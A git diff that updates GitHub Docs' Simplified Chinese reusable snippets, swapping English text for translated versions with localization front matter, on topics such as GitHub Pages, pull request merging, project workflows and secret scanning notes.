有关详细信息,请参阅“[关于 {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-github-packages#authenticating-to-github-packages)”。 diff --git a/translations/zh-CN/data/reusables/pages/build-failure-email-server.md b/translations/zh-CN/data/reusables/pages/build-failure-email-server.md index 89e9253b46..c87d2b049e 100644 --- a/translations/zh-CN/data/reusables/pages/build-failure-email-server.md +++ b/translations/zh-CN/data/reusables/pages/build-failure-email-server.md @@ -1,7 +1,13 @@ -{% ifversion ghes or ghae %} - {% tip %} +--- +ms.openlocfilehash: f206838932fe094447f63dd9005f14252f3c8439 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876077" +--- +{% ifversion ghes or ghae %} {% tip %} - You will only receive an email if outbound email support is enabled on {% data variables.location.product_location %}. For more information, contact your site administrator. + 只有在 {% data variables.product.product_location %} 上启用出站电子邮件支持时,才会收到电子邮件。 更多信息请联系站点管理员。 - {% endtip %} -{% endif %} + {% endtip %} {% endif %} diff --git a/translations/zh-CN/data/reusables/pages/emu-org-only.md b/translations/zh-CN/data/reusables/pages/emu-org-only.md index fb1844ee17..6700ef03b8 100644 --- a/translations/zh-CN/data/reusables/pages/emu-org-only.md +++ b/translations/zh-CN/data/reusables/pages/emu-org-only.md @@ -1,7 +1,13 @@ -{% ifversion ghec %} -{% note %} +--- +ms.openlocfilehash: 25b8700240c49223cdd987beb555e15102d41844 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061000" +--- +{% ifversion ghec %} {% note %} -**Note:** If you're a {% data variables.enterprise.prodname_managed_user %}, you can only publish {% data variables.product.prodname_pages %} sites from repositories owned by organizations. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)." +注意:如果你是 {% data variables.product.prodname_managed_user %},将只能从组织拥有的存储库发布 {% data variables.product.prodname_pages %} 站点。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)”。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} diff --git a/translations/zh-CN/data/reusables/pages/pages-builds-with-github-actions-public-beta.md b/translations/zh-CN/data/reusables/pages/pages-builds-with-github-actions-public-beta.md new file mode 100644 index 0000000000..298add9505 --- /dev/null +++ b/translations/zh-CN/data/reusables/pages/pages-builds-with-github-actions-public-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 7fd76f1f703cb5665fa5869223af1cc23e3b630e +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100293" +--- +{% ifversion fpt %} + +注意:{% data variables.product.prodname_pages %} 站点的 {% data variables.product.prodname_actions %} 工作流运行是公共存储库的公共 beta 版,可能会更改。 {% data variables.product.prodname_actions %} 工作流运行对于公共存储库是免费的。 + +{% endif %} diff --git a/translations/zh-CN/data/reusables/pages/sidebar-pages.md b/translations/zh-CN/data/reusables/pages/sidebar-pages.md index 51f755936d..71d651c004 100644 --- a/translations/zh-CN/data/reusables/pages/sidebar-pages.md +++ b/translations/zh-CN/data/reusables/pages/sidebar-pages.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghes > 3.4 or ghec or ghae > 3.4 %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "browser" aria-label="The browser icon" %} Pages**. +--- +ms.openlocfilehash: 3c76af709ce01925719105ff361642b29d73b89c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145100274" +--- +{% ifversion fpt or ghes > 3.4 or ghec or ghae-issue-5658 %} +1. 在边栏的“代码和自动化”部分,单击“{% octicon "browser" aria-label="The browser icon" %} 页面”。 {% else %} -1. In the left sidebar, click **Pages**. - ![Page tab in the left-hand sidebar](/assets/images/help/pages/pages-tab.png) -{% endif %} +1. 在左侧边栏中,单击“页面”。 + ![左侧边栏中的页面选项卡](/assets/images/help/pages/pages-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/pages/visit-site.md b/translations/zh-CN/data/reusables/pages/visit-site.md index 8921976319..982f031957 100644 --- a/translations/zh-CN/data/reusables/pages/visit-site.md +++ b/translations/zh-CN/data/reusables/pages/visit-site.md @@ -1,5 +1,13 @@ -1. To see your published site, under "{% data variables.product.prodname_pages %}", click **{% octicon "link-external" aria-label="The external link icon" %} Visit site**. -![Screenshot of the "Visit site" button next to the URL of a published site](/assets/images/help/pages/click-pages-url-to-preview.png) +--- +ms.openlocfilehash: e089f0f8ca2a1058b5c168a1fc06a63c78d1333c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100259" +--- +1. 要查看您已发布的站点,请在“{% data variables.product.prodname_pages %}”下点击您的站点 URL。 +![已发布站点的 URL](/assets/images/help/pages/click-pages-url-to-preview.png) {% note %} diff --git a/translations/zh-CN/data/reusables/projects/enable-basic-workflow.md b/translations/zh-CN/data/reusables/projects/enable-basic-workflow.md index 715219b099..15ba6f8114 100644 --- a/translations/zh-CN/data/reusables/projects/enable-basic-workflow.md +++ b/translations/zh-CN/data/reusables/projects/enable-basic-workflow.md @@ -1,17 +1,21 @@ -{% data reusables.projects.access-workflows %} -1. Under **Default workflows**, click on the workflow that you want to edit. - - ![Screenshot showing default workflows](/assets/images/help/projects-v2/default-workflows.png) - -2. If the workflow can apply to both issues and pull requests, next to **When**, check the item type(s) that you want to act on. - - ![Screenshot showing the "when" configuration for a workflow](/assets/images/help/projects-v2/workflow-when.png) - -3. Next to **Set**, choose the value that you want to set the status to. - - ![Screenshot showing the "set" configuration for a workflow](/assets/images/help/projects-v2/workflow-set.png) - -4. If the workflow is disabled, click the toggle next to **Off** to enable the workflow. - - ![Screenshot showing the "On/Off" control for a workflow](/assets/images/help/projects-v2/workflow-enable.png) - +--- +ms.openlocfilehash: 0c55df675453a0707e8695cbca9087c5b585c438 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423658" +--- +1. 导航到你的项目。 +1. 在右上角,单击 {% octicon "kebab-horizontal" aria-label="The menu icon" %} 以打开菜单。 + ![显示菜单图标的屏幕截图](/assets/images/help/projects-v2/open-menu.png) +1. 在菜单中,单击“{% octicon "workflow" aria-label="The workflow icon" %} 工作流”。 + ![显示“工作流”菜单项的屏幕截图](/assets/images/help/projects-v2/workflows-menu-item.png) +1. 在“默认工作流”下,单击要编辑的工作流。 + ![显示默认工作流的屏幕截图](/assets/images/help/projects-v2/default-workflows.png) +1. 如果工作流可以同时应用于议题和拉取请求,请在“何时”旁边检查要处理的项类型。 + ![显示工作流的“何时”配置的屏幕截图](/assets/images/help/projects-v2/workflow-when.png) +1. 在“设置”旁边,选择要将状态设置为的值。 + ![显示工作流的“设置”配置的屏幕截图](/assets/images/help/projects-v2/workflow-set.png) +1. 如果已禁用工作流,请单击“已禁用”旁边的开关以启用工作流。 + ![显示工作流的“启用”控件的屏幕截图](/assets/images/help/projects-v2/workflow-enable.png) diff --git a/translations/zh-CN/data/reusables/projects/projects-api.md b/translations/zh-CN/data/reusables/projects/projects-api.md index 1fd5120823..6903a74547 100644 --- a/translations/zh-CN/data/reusables/projects/projects-api.md +++ b/translations/zh-CN/data/reusables/projects/projects-api.md @@ -1,16 +1,16 @@ --- -ms.openlocfilehash: 2e24caea6bd8d7609ce24ec67f497ddbc1db8716 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 3974c3f895e361805d364cb11a8f97cd8bbcbc92 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: "147423594" +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193261" --- {% ifversion fpt or ghec %} {% note %} **注意:** -* 此 API 仅适用于 {% data variables.product.prodname_projects_v1 %}。 可使用 GraphQL API 管理 {% data variables.product.prodname_projects_v2 %}。 有关详细信息,请参阅“[使用 API 管理项目](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects)”。 -* 只能为至少已有一个 {% data variables.projects.projects_v1_board %} 的组织、用户或存储库创建新的 {% data variables.projects.projects_v1_board %}。 +* 这些终结点仅与 {% data variables.product.prodname_projects_v1 %} 交互。 若要管理 {% data variables.product.prodname_projects_v2 %},请使用 GraphQL API。 有关详细信息,请参阅“[使用 API 管理项目](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects)”。 +* 若要创建新的 {% data variables.projects.projects_v1_board %},组织、用户或存储库必须至少有一个 {% data variables.projects.projects_v1_board %}。 {% endnote %} {% endif %} diff --git a/translations/zh-CN/data/reusables/pull_requests/configure_pull_request_merges_intro.md b/translations/zh-CN/data/reusables/pull_requests/configure_pull_request_merges_intro.md index 48ec676b37..be7784445e 100644 --- a/translations/zh-CN/data/reusables/pull_requests/configure_pull_request_merges_intro.md +++ b/translations/zh-CN/data/reusables/pull_requests/configure_pull_request_merges_intro.md @@ -1 +1,9 @@ -You can configure pull request merge options on {% data variables.location.product_location %} to meet your workflow needs and preferences for managing Git history. For more information, see "[Configuring pull request merges](/articles/configuring-pull-request-merges)." +--- +ms.openlocfilehash: d9e267c4a5a718fd45107ff259dd9499560d158e +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876050" +--- +您可以在 {% data variables.product.product_location %} 上配置拉取请求合并选项,以满足您的工作流程需要和用于管理 Git 历史记录的首选项。 有关详细信息,请参阅“[配置拉取请求合并](/articles/configuring-pull-request-merges)”。 diff --git a/translations/zh-CN/data/reusables/pull_requests/default_merge_option.md b/translations/zh-CN/data/reusables/pull_requests/default_merge_option.md index 7336d235d6..46ab31a218 100644 --- a/translations/zh-CN/data/reusables/pull_requests/default_merge_option.md +++ b/translations/zh-CN/data/reusables/pull_requests/default_merge_option.md @@ -1,5 +1,13 @@ -When you click the default **Merge pull request** option on a pull request on {% data variables.location.product_location %}, all commits from the feature branch are added to the base branch in a merge commit. The pull request is merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge). +--- +ms.openlocfilehash: 592835351230fe7a5587c0212811899ab496e84d +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147872778" +--- +在 {% data variables.product.product_location %} 上的拉取请求上单击默认的“合并拉取请求”选项时,来自功能分支的所有提交都会在合并提交中添加到基础分支。 使用[ `--no-ff` 选项](https://git-scm.com/docs/git-merge#_fast_forward_merge)合并拉取请求。 -To merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository. +若要合并拉取请求,必须在存储库中拥有[写入权限](/articles/repository-permission-levels-for-an-organization/)。 ![standard-merge-commit-diagram](/assets/images/help/pull_requests/standard-merge-commit-diagram.png) diff --git a/translations/zh-CN/data/reusables/pull_requests/pull_request_merges_and_contributions.md b/translations/zh-CN/data/reusables/pull_requests/pull_request_merges_and_contributions.md index e157092539..6a3f43ed38 100644 --- a/translations/zh-CN/data/reusables/pull_requests/pull_request_merges_and_contributions.md +++ b/translations/zh-CN/data/reusables/pull_requests/pull_request_merges_and_contributions.md @@ -1,7 +1,15 @@ +--- +ms.openlocfilehash: fdea0ab10c821f00e16a11eb57a49415b4f5c908 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882961" +--- {% note %} -**Notes:**{% ifversion ghes or ghae %} -- To appear on your profile contributions graph, co-authored commits must meet the same criteria as commits with one author.{% endif %} -- When rebasing commits, the original authors of the commit and the person who rebased the commits, whether on the command line or on {% data variables.location.product_location %}, receive contribution credit. +注意:{% ifversion ghes or ghae %} +- 要显示在您的个人资料贡献图中,合作提交必须符合与只有一个作者的提交相同的条件。{% endif %} +- 在变基提交时,提交的原作者和提交的变基者(无论是在命令行还是 {% data variables.product.product_location %} 上)都会获得贡献积分。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/pull_requests/rebase_and_merge_summary.md b/translations/zh-CN/data/reusables/pull_requests/rebase_and_merge_summary.md index 93a7e1e17f..c684efad52 100644 --- a/translations/zh-CN/data/reusables/pull_requests/rebase_and_merge_summary.md +++ b/translations/zh-CN/data/reusables/pull_requests/rebase_and_merge_summary.md @@ -1,7 +1,15 @@ -When you select the **Rebase and merge** option on a pull request on {% data variables.location.product_location %}, all commits from the topic branch (or head branch) are added onto the base branch individually without a merge commit. In that way, the rebase and merge behavior resembles a [fast-forward merge](https://git-scm.com/docs/git-merge#_fast_forward_merge) by maintaining a linear project history. However, rebasing achieves this by re-writing the commit history on the base branch with new commits. +--- +ms.openlocfilehash: 371057b7fbe8e92b564e8729b11442bdbf2c1a56 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882793" +--- +在 {% data variables.product.product_location %} 上的拉取请求中选择“变基并合并”选项时,来自主题分支(或头部分支)的所有提交都会单独添加到基分支,而无需合并提交。 这样,通过维护线性项目历史记录,变基和合并行为类似于[快进合并](https://git-scm.com/docs/git-merge#_fast_forward_merge)。 但是,变基是通过在基分支上用新的提交重写提交历史记录来实现的。 -The rebase and merge behavior on {% data variables.product.product_name %} deviates slightly from `git rebase`. Rebase and merge on {% data variables.product.prodname_dotcom %} will always update the committer information and create new commit SHAs, whereas `git rebase` outside of {% data variables.product.prodname_dotcom %} does not change the committer information when the rebase happens on top of an ancestor commit. For more information about `git rebase`, see [git-rebase](https://git-scm.com/docs/git-rebase) in the Git documentation. +{% data variables.product.product_name %} 上的变基和合并行为与 `git rebase` 略有偏差。 {% data variables.product.prodname_dotcom %} 上的变基和合并始终会更新提交者信息并创建新的提交 SHA,而 {% data variables.product.prodname_dotcom %} 外部的 `git rebase` 在提交原型上发生变基时不改变提交者信息。 有关 `git rebase` 的详细信息,请参阅 Git 文档中的 [git-revert](https://git-scm.com/docs/git-rebase)。 -To rebase and merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository, and the repository must [allow rebase merging](/articles/configuring-commit-rebasing-for-pull-requests/). +若要变基并合并拉取请求,必须在存储库中具有[写入权限](/articles/repository-permission-levels-for-an-organization/),并且存储库必须[允许变基合并](/articles/configuring-commit-rebasing-for-pull-requests/)。 -For a visual representation of `git rebase`, see [The "Git Branching - Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing). +有关 `git rebase` 的可视化表示形式,请参阅[《Pro Git》一书中的“Git 分支 - 变基”章节](https://git-scm.com/book/en/Git-Branching-Rebasing)。 diff --git a/translations/zh-CN/data/reusables/pull_requests/resolving-conversations.md b/translations/zh-CN/data/reusables/pull_requests/resolving-conversations.md index f8962ad21a..e69230e66e 100644 --- a/translations/zh-CN/data/reusables/pull_requests/resolving-conversations.md +++ b/translations/zh-CN/data/reusables/pull_requests/resolving-conversations.md @@ -1,21 +1,30 @@ -### Resolving conversations +--- +ms.openlocfilehash: 1447b6a0f63bcfd6e54954545541808debcb3091 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062368" +--- +### 解决对话 -You can resolve a conversation in a pull request if you opened the pull request or if you have write access to the repository where the pull request was opened. +如果您打开了拉取请求或者您对被打开拉取请求的仓库具有写入权限,您可以解决拉取请求中的对话。 -To indicate that a conversation on the **Files changed** tab is complete, click **Resolve conversation**. +要指示“文件已更改”选项卡上的对话已完成,请单击“解决对话” 。 -![Pull request conversation with Resolve conversation button](/assets/images/help/pull_requests/conversation-with-resolve-button.png) +![带解决对话按钮的拉取请求对话](/assets/images/help/pull_requests/conversation-with-resolve-button.png) -The entire conversation will be collapsed and marked as resolved, making it easier to find conversations that still need to be addressed. +整个对话将被折叠并标记为已解决,以便您更容易找到仍需解决的对话。 -![Resolved conversation](/assets/images/help/pull_requests/resolved-conversation.png) +![已解决对话](/assets/images/help/pull_requests/resolved-conversation.png) -If the suggestion in a comment is out of your pull request's scope, you can open a new issue that tracks the feedback and links back to the original comment. For more information, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." +如果评论中的建议超出您的拉取请求范围,您可以打开一个新的议题,追踪反馈并链接到原始评论。 有关详细信息,请参阅“[从评论创建问题](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)”。 -#### Discovering and navigating conversations +{% ifversion fpt or ghes or ghae-issue-4382 or ghec %} +#### 发现和导航对话 -You can discover and navigate to all the conversations in your pull request using the **Conversations** menu that's shown at the top of the **Files Changed** tab. +可以使用显示于“更改的文件”选项卡顶部的“对话”菜单发现和导航到拉取请求中的所有对话 。 -From this view, you can see which conversations are unresolved, resolved, and outdated. This makes it easy to discover and resolve conversations. +从此视图中,您可以看到哪些对话未解决、已解决和过时。 这使得很容易发现和解决对话。 -![Showing the conversations menu](/assets/images/help/pull_requests/conversations-menu.png) +![显示对话菜单](/assets/images/help/pull_requests/conversations-menu.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/pull_requests/squash_and_merge_summary.md b/translations/zh-CN/data/reusables/pull_requests/squash_and_merge_summary.md index b0f3fc47cc..52379c1d54 100644 --- a/translations/zh-CN/data/reusables/pull_requests/squash_and_merge_summary.md +++ b/translations/zh-CN/data/reusables/pull_requests/squash_and_merge_summary.md @@ -1,7 +1,15 @@ -When you select the **Squash and merge** option on a pull request on {% data variables.location.product_location %}, the pull request's commits are squashed into a single commit. Instead of seeing all of a contributor's individual commits from a topic branch, the commits are combined into one commit and merged into the default branch. Pull requests with squashed commits are merged using the [fast-forward option](https://git-scm.com/docs/git-merge#_fast_forward_merge). +--- +ms.openlocfilehash: c7eea7975ef49a5a6e3deed2ade3cb6bb5543ac0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099524" +--- +对 {% data variables.product.product_location %} 上的拉取请求选择“压缩并合并”选项时,拉取请求的提交会压缩为单一提交。 不是从主题分支查看所有贡献者的个别提交,而是所有提交合并成一个提交并合并到默认分支。 使用[快进选项](https://git-scm.com/docs/git-merge#_fast_forward_merge)合并包含已压缩提交的拉取请求。 -To squash and merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository, and the repository must [allow squash merging](/articles/configuring-commit-squashing-for-pull-requests/). +若要压缩并合并拉取请求,必须在存储库中具有[写入权限](/articles/repository-permission-levels-for-an-organization/),并且存储库必须[允许压缩合并](/articles/configuring-commit-squashing-for-pull-requests/)。 ![commit-squashing-diagram](/assets/images/help/pull_requests/commit-squashing-diagram.png) -You can use squash and merge to create a more streamlined Git history in your repository. Work-in-progress commits are helpful when working on a feature branch, but they aren’t necessarily important to retain in the Git history. If you squash these commits into one commit while merging to the default branch, you can retain the original changes with a clear Git history. +您可以使用压缩并合并在仓库中创建更简化的 Git 历史记录。 在功能分支上工作时,提交正在进行的工作会有帮助,但它们不一定必须留在 Git 历史记录中。 如果在合并到默认分支时将这些提交压缩到一个提交中,您可以保留原来的更改并清除 Git 历史记录。 diff --git a/translations/zh-CN/data/reusables/release-notes/babeld-max-threads-performance-issue.md b/translations/zh-CN/data/reusables/release-notes/babeld-max-threads-performance-issue.md new file mode 100644 index 0000000000..e565c2cd11 --- /dev/null +++ b/translations/zh-CN/data/reusables/release-notes/babeld-max-threads-performance-issue.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4a41b39b018e375a79872ac1c77eb580451922b0 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193220" +--- +遇到大量持续并发 Git 请求的实例可能会出现性能问题。 如果你怀疑此问题会影响你的实例,请联系 {% data variables.contact.github_support %}。 有关详细信息,请参阅“[创建支持工单](/support/contacting-github-support/creating-a-support-ticket)”。 [更新日期:2022-12-07] diff --git a/translations/zh-CN/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md b/translations/zh-CN/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md index 04d9906902..aa6bec4ce4 100644 --- a/translations/zh-CN/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md +++ b/translations/zh-CN/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md @@ -1,16 +1,24 @@ -{% ifversion ghes < 3.5 %} +--- +ms.openlocfilehash: 0ef0e7666a800328e3344636b954096fe0280d8b +ms.sourcegitcommit: b0323777cfe4324a09552d0ea268d1afacc3da37 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/17/2022 +ms.locfileid: "147580724" +--- +{% ifversion ghes > 3.1 or ghes < 3.5 %} -In some cases, GitHub Advanced Security customers who upgrade to GitHub Enterprise Server 3.5 or later may notice that alerts from secret scanning are missing in the web UI and REST API. To ensure the alerts remain visible, do not skip 3.4 when you upgrade from an earlier release to 3.5 or later. A fix is available in the [3.5.5](/enterprise-server@3.5/admin/release-notes#3.5.5) and [3.6.1](/enterprise-server@3.6/admin/release-notes#3.6.1) patch releases. +在某些情况下,升级到 GitHub Enterprise Server 3.5 或更高版本的 GitHub Advanced Security 客户可能会注意到 Web UI 和 REST API 中缺少来自机密扫描的警报。 若要确保警报保持可见,请勿在从早期版本升级到 3.5 或更高版本时跳过 3.4。 即将发布的补丁版本将提供 3.5 及更高版本的修补程序。 -To plan an upgrade through 3.4, see the [Upgrade assistant](https://support.github.com/enterprise/server-upgrade). [Updated: 2022-09-01] +若要计划到 3.4 的升级,请参阅[升级助手](https://support.github.com/enterprise/server-upgrade)。 [更新日期:2022-08-16] -{% elsif ghes = 3.5 or ghes = 3.6 %} +{% elsif ghes > 3.4 or ghes < 3.7 %} -In some cases, GitHub Advanced Security customers who upgrade to GitHub Enterprise Server {{ allVersions[currentVersion].currentRelease }} may notice that alerts from secret scanning are missing in the web UI and REST API. To ensure the alerts remain visible, do not skip 3.4 as you upgrade to the latest release. To plan an upgrade through 3.4, see the [Upgrade assistant](https://support.github.com/enterprise/server-upgrade). +在某些情况下,升级到 GitHub Enterprise Server {{ currentVersion }} 的 GitHub Advanced Security 客户可能会注意到 Web UI 和 REST API 中缺少来自机密扫描的警报。 若要确保警报保持可见,请勿在升级到最新版本时跳过 3.4。 若要计划到 3.4 的升级,请参阅[升级助手](https://support.github.com/enterprise/server-upgrade)。 -- To display the missing alerts for all repositories owned by an organization, organization owners can navigate to the organization's **Code security and analysis** settings, then click **Enable all** for secret scanning. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-existing-repositories)." -- To display the missing alerts for an individual repository, people with admin access to the repository can disable then enable secret scanning for the repository. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)." +- 若要显示组织拥有的所有存储库的缺失警报,组织所有者可以导航到组织的“代码安全和分析”设置,然后单击“启用所有”进行机密扫描。 有关详细信息,请参阅[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-existing-repositories)。 +- 若要显示单个存储库的缺失警报,具有存储库管理员访问权限的人员可以禁用该存储库,然后为其启用机密扫描。 有关详细信息,请参阅“[管理存储库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)”。 -A fix is available in the {% ifversion ghes = 3.5 %}[3.5.5](/admin/release-notes#3.5.5){% elsif ghes = 3.6 %}[3.6.1](/admin/release-notes#3.6.1){% endif %} patch release. [Updated: 2022-09-01] +即将发布的补丁版本中将提供此修补程序。 [更新日期:2022-08-16] {% endif %} diff --git a/translations/zh-CN/data/reusables/repositories/changed-files.md b/translations/zh-CN/data/reusables/repositories/changed-files.md index 35f3c7b5e8..ccda5c3b52 100644 --- a/translations/zh-CN/data/reusables/repositories/changed-files.md +++ b/translations/zh-CN/data/reusables/repositories/changed-files.md @@ -1,2 +1,10 @@ -1. On the pull request, click {% octicon "file-diff" aria-label="The file diff icon" %} **Files changed**. - ![Pull Request Files changed tab](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png) +--- +ms.openlocfilehash: 5f8e4f8f2605a42af16b26eed4efda7acba6e9e0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099476" +--- +1. 在拉取请求上,单击 {% octicon "diff" aria-label="The file diff icon" %}“文件已更改”。 + ![拉取请求文件已更改选项卡](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png) diff --git a/translations/zh-CN/data/reusables/repositories/deploy-keys.md b/translations/zh-CN/data/reusables/repositories/deploy-keys.md index 595c8025c5..14800aa694 100644 --- a/translations/zh-CN/data/reusables/repositories/deploy-keys.md +++ b/translations/zh-CN/data/reusables/repositories/deploy-keys.md @@ -1 +1,9 @@ -You can launch projects from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to your server by using a deploy key, which is an SSH key that grants access to a single repository. {% data variables.product.product_name %} attaches the public part of the key directly to your repository instead of a personal account, and the private part of the key remains on your server. For more information, see "[Delivering deployments](/rest/guides/delivering-deployments)." +--- +ms.openlocfilehash: f4ea2cee931b8d44b44f0febba3304f41bac404c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145086843" +--- +可以使用部署密钥(即授予对单个存储库的访问权限的 SSH 密钥)从 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库启动项目到服务器。 {% data variables.product.product_name %} 将密钥的公共部分直接附加到存储库而不是个人帐户,密钥的私有部分仍保留在服务器上。 有关详细信息,请参阅“[传递部署](/rest/guides/delivering-deployments)”。 diff --git a/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md b/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md index ff83465bcd..582377494b 100644 --- a/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md +++ b/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md @@ -1,3 +1,10 @@ -{% ifversion ghes or ghae %} -Enterprise owners must enable {% data variables.product.prodname_dependabot_alerts %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +--- +ms.openlocfilehash: 6151a441ef782d82bde352a9761dbd19b239447c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146455699" +--- +{% ifversion ghes or ghae %} 企业所有者必须对 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_dependabot_alerts %},然后才能使用此功能。 有关详细信息,请参阅“[对企业启用 {% data variables.product.prodname_dependabot %}](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)”。 {% endif %} diff --git a/translations/zh-CN/data/reusables/repositories/navigate-to-code-security-and-analysis.md b/translations/zh-CN/data/reusables/repositories/navigate-to-code-security-and-analysis.md index c1a1e6dfef..b6352c1185 100644 --- a/translations/zh-CN/data/reusables/repositories/navigate-to-code-security-and-analysis.md +++ b/translations/zh-CN/data/reusables/repositories/navigate-to-code-security-and-analysis.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-label="code security and analysis icon" %} Code security and analysis**. +--- +ms.openlocfilehash: ac92e2c65d54e8766eb6d8dc991b82265d5e5f0d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145099446" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“安全性”部分中,单击“{% octicon "codescan" aria-label="code security and analysis icon" %} 代码安全性和分析”。 {% else %} -1. In the left sidebar, click **Security & analysis**. - !["Security & analysis" tab in repository settings](/assets/images/help/repository/security-and-analysis-tab.png) 